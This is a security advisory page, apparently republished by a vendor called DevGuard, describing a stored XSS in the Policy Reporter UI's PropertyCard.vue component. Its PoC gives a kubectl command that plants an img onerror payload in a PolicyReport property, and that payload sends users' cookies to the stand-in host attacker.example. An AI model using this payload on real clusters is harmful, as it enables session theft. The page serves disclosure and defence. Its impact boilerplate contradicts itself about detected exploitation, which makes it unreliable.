Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-q98m-7w8c-w388
No affected components available
Summary
Vue 3's v-html directive is the framework-documented mechanism for injecting raw HTML, and it intentionally disables the auto-escaping that {{ }} interpolation provides. The PropertyCard.vue component uses v-html for the else branch of the URL check, meaning any non-URL string value flows directly into the DOM as HTML. The isURL() guard only filters values that parse as http: or https: URLs, so any HTML payload not starting with those schemes (e.g., <img src=x onerror=alert(1)> padded to exceed 75 chars) bypasses it entirely. The data originates from Kubernetes PolicyReport .results[].properties fields, which are arbitrary string maps populated by policy engines and potentially by any principal with write access to PolicyReport objects in the cluster. No DOMPurify or equivalent HTML sanitization library is present anywhere in the frontend codebase, confirming there is no compensating control between the API response and the sink.
This vulnerability was reproduced on the latest policy reporter UI version – 2.5.1.
PoC
Prerequisites: Kubernetes write access to PolicyReport resources in the target cluster (e.g., via a policy engine service account or direct kubectl access)
Create a Kubernetes PolicyReport resource with a crafted property value longer than 75 characters. When an authenticated Policy Reporter UI user browses to the affected namespace and expands the result row containing this property, the injected script executes in their browser.
kubectl apply -f - <<'EOF'
apiVersion: [wgpolicyk8s.io/v1alpha2](http://wgpolicyk8s.io/v1alpha2)
kind: PolicyReport
metadata:
name: xss-poc
namespace: default
results:
- message: "test"
policy: xss-test-policy
rule: check-rule
result: fail
properties:
# Value > 75 chars and not an http/https URL -> routed to v-html sink
advisory: "<img src=x onerror=\"fetch('[https://attacker.example/c?c='+document.cookie](https://attacker.example/c?c=%27+document.cookie))\"> padding padding padding"
EOF
# Once a UI user opens the results table for the 'default' namespace
# and expands the 'xss-test-policy' result row, the onerror handler fires
# and exfiltrates their session cookies to attacker.example
Impact
XSS
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a low impact on the confidentiality of the information. There is a low impact on the integrity of the data.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard